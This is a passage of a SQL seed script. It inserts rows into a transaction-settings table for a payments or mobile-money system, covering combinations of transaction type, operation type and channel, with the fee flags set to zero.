0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CASH_OUT', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'PAYMENT', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'CREDIT', 'CreditCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'DEBIT', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'TRANSFER', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2MoMo', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Airtime', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Bank', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Card', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Bank2Wallet', 'DebitBank', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2MoMo', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Airtime', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Bank', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Card', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Card2Wallet', 'DebitCard', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Bank', 'NONE', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'MoMo2Card', 'NONE', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Bank', 'NONE', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Airtime2Card', 'NONE', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'SMS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'MPOS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'MERCHANT', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Bank', 'NONE', 'OTHERS', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'MOBILE', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'USSD', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'WEB', 0, 0, 0); insert into t_transaction_Setting(active, transactionType, operationType, transactionChannel, feesSupported, changeFeesSupported, feesComputed) values(1, 'Wallet2Card', 'NONE', 'SMS', 0, 